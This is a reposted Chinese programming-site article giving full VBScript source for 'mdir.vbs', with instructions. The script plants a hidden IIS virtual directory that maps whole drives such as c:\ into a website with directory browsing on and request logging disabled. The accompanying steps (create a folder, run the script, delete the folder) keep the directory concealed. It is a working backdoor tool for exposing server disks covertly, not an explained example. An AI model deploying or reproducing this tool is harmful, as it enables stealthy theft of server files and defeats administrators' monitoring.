欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

mdir.vbs 建立隐藏虚拟目录的vbs

程序员文章站 2022-03-20 14:07:20
建立隐藏虚拟目录使用。首先要先在对应web目录里建立一个目录。然后利用脚本直接在shell中创建虚拟目录。仅仅为了方便大家使用。方法如下 c:\>mdir.vbs *...
建立隐藏虚拟目录使用。首先要先在对应web目录里建立一个目录。然后利用脚本直接在shell中创建虚拟目录。仅仅为了方便大家使用。方法如下
c:\>mdir.vbs
***************************************************************************
usage: mdir <-w website index>
<-v name1,path1,name2,path2,...>
example : mdir -w 1 -v "root/disk-c","c:\","root/disk-d","d:\"
***************************************************************************
index servercomment
___________________________________________________________________________
1 asp.com
2 asp.net
3 aspx.net
4 aspx.com
5 tmp.com
6 tmp.net
不加任何参数时,会将iis中所有主机头罗列出来。
如果你想在 asp.com 中创建,则需要记准对应的 index值。格式如下
c:\inetpub\wwwroot>md root
c:\inetpub\wwwroot>cscript mdir.vbs -w "1" -v "root/disk-c","c:\"
c:\inetpub\wwwroot>rd root
就在此域名下创建了一个隐藏的虚拟目录。
访问方法:
http://asp.com/root/disk-c
复制代码 代码如下:

'lilo 编写
'lilo@bugkidz.org
on error resume next
dim oargs, argnum, argcomputer, argwebsites, argvirtualdirs, argdirnames(), argdirpaths(), dirindex, argcomputers

set oargs = wscript.arguments
argcomputers = array("localhost")

argnum = 0
while argnum < oargs.count

    if (argnum + 1) >= oargs.count then
        call displayusage
    end if    
    select case lcase(oargs(argnum))
        case "-w":
            argnum = argnum + 1
            argwebsites = oargs(argnum)
        case "-v":
            argnum = argnum + 1
            argvirtualdirs = split(oargs(argnum), ",", -1)
        case "-?"
            call displayusage
    end select    
    argnum = argnum + 1
wend
argnum = 0
dirindex = 0
maxweb = clng(listallweb(0))
if not isnumeric(argwebsites) or maxweb = 0 then call displayusage
redim argdirnames((ubound(argvirtualdirs)+1) \ 2)
redim argdirpaths((ubound(argvirtualdirs)+1) \ 2)

if isarray(argvirtualdirs) then
    while argnum <= ubound(argvirtualdirs)
        argdirnames(dirindex) = argvirtualdirs(argnum)
        if (argnum + 1) > ubound(argvirtualdirs) then
            wscript.echo "error understanding virtual directories"
            call displayusage
        end if    
        argnum = argnum + 1
        argdirpaths(dirindex) = argvirtualdirs(argnum)
        argnum = argnum + 1
        dirindex = dirindex + 1
    wend
end if 

if (argwebsites = "") or (isarray(argdirnames) = false or isarray(argdirpaths) = false) then
    call displayusage
else
    dim compindex
    for compindex = 0 to ubound(argcomputers)
        call astcreatevirtualwebdir(argcomputers(compindex),argwebsites,argdirnames,argdirpaths)
    next
end if

sub display(msg)
    wscript.echo now & ". error code: " & hex(err) & " - " & msg
end sub

sub trace(msg)
    wscript.echo now & " : " & msg    
end sub

sub displayusage()
    wscript.echo string(75,"*") & vbcrlf & "usage: mdir <-w website index>" & vbcrlf & "            <-v name1,path1,name2,path2,...>" & vbcrlf & "example : mdir -w 1 -v ""root/disk-c"",""c:\"",""root/disk-d"",""d:\""" & vbcrlf & string(75,"*") & vbcrlf & listallweb(1)
    wscript.quit
end sub

sub astcreatevirtualwebdir(computername,websitename,dirnames,dirpaths)
    dim computer, website, websiteid, vroot, vdir, dirnum
    on error resume next
    set website = getobject("iis://localhost/w3svc/" & websitename)
    if isobject(website) then
        set vroot = website.getobject("iiswebvirtualdir", "root")
        trace "accessing root for " & website.adspath
        if (err <> 0) then
            display "unable to access root for " & website.adspath
        else
            dirnum = 0
            if (isarray(dirnames) = true) and (isarray(dirpaths) = true) and (ubound(dirnames) = ubound(dirpaths)) then
                while dirnum < ubound(dirnames)
                    set vdir = vroot.create("iiswebvirtualdir",dirnames(dirnum))
                    if (err <> 0) then
                        display "unable to create " & vroot.adspath & "/" & dirnames(dirnum) &"."
                    else
                        vdir.enabledirbrowsing      = true
                        vdir.dirbrowseshowdate      = false
                        vdir.dirbrowseshowtime      = false
                        vdir.dirbrowseshowsize      = false
                        vdir.dirbrowseshowextension = false
                        vdir.dirbrowseshowlongdate  = true
                        vdir.dirbrowseflags         = -1073741762
                        vdir.accessread             = true
                        vdir.accesswrite            = false
                        vdir.accessexecute          = false
                        vdir.accessscript           = false
                        vdir.accesssource           = false
                        vdir.accessnoremoteread     = false
                        vdir.accessnoremotewrite    = false
                        vdir.accessnoremoteexecute  = false
                        vdir.accessnoremotescript   = false
                        vdir.appisolated            = 1
                        vdir.accessflags            = 1
                        vdir.contentindexed         = false
                        vdir.createprocessasuser    = false
                        vdir.dontlog                = true
'                        vdir.defaultdoc             = ""
                        vdir.enabledefaultdoc       = false
                        vdir.appfriendlyname        = ""
                        vdir.appcreate2 3
                        vdir.path = dirpaths(dirnum)
                        if (err <> 0) then
                            display "unable to bind path " & dirpaths(dirnum) & " to " & vrootname & "/" & dirnames(dirnum) & ". path may be invalid."
                        else
                            'save the changes
                            vdir.setinfo
                            if (err <> 0) then
                                display "unable to save configuration for " & vrootname & "/" & dirnames(dirnum) &"."
                            else
                                trace "web virtual directory " & vrootname & "/" & dirnames(dirnum) & " created successfully."
                            end if
                        end if
                    end if
                    err = 0
                    dirnum = dirnum + 1
                wend
            end if
        end if
    else
        display "unable to find "& websitename &" on "& computername
    end if
    trace "done."
end sub

function listallweb(n)
    set objservice=getobject("iis://localhost/w3svc")
    if n = 1 then listallweb = "" else listallweb = 0
    for each obj3w in objservice
        if isnumeric(obj3w.name) then
            sservername=obj3w.servercomment
            if n = 1 then
                listallweb = listallweb & obj3w.name & string(15-len(obj3w.name)," ") & obj3w.servercomment & vbcrlf
            else
                listallweb = listallweb + 1
            end if
        end if
    next
    if n = 1 then listallweb = "index" & string(10," ") & "servercomment" & vbcrlf & string(75,"_") & vbcrlf & listallweb
    set objservice=nothing
end function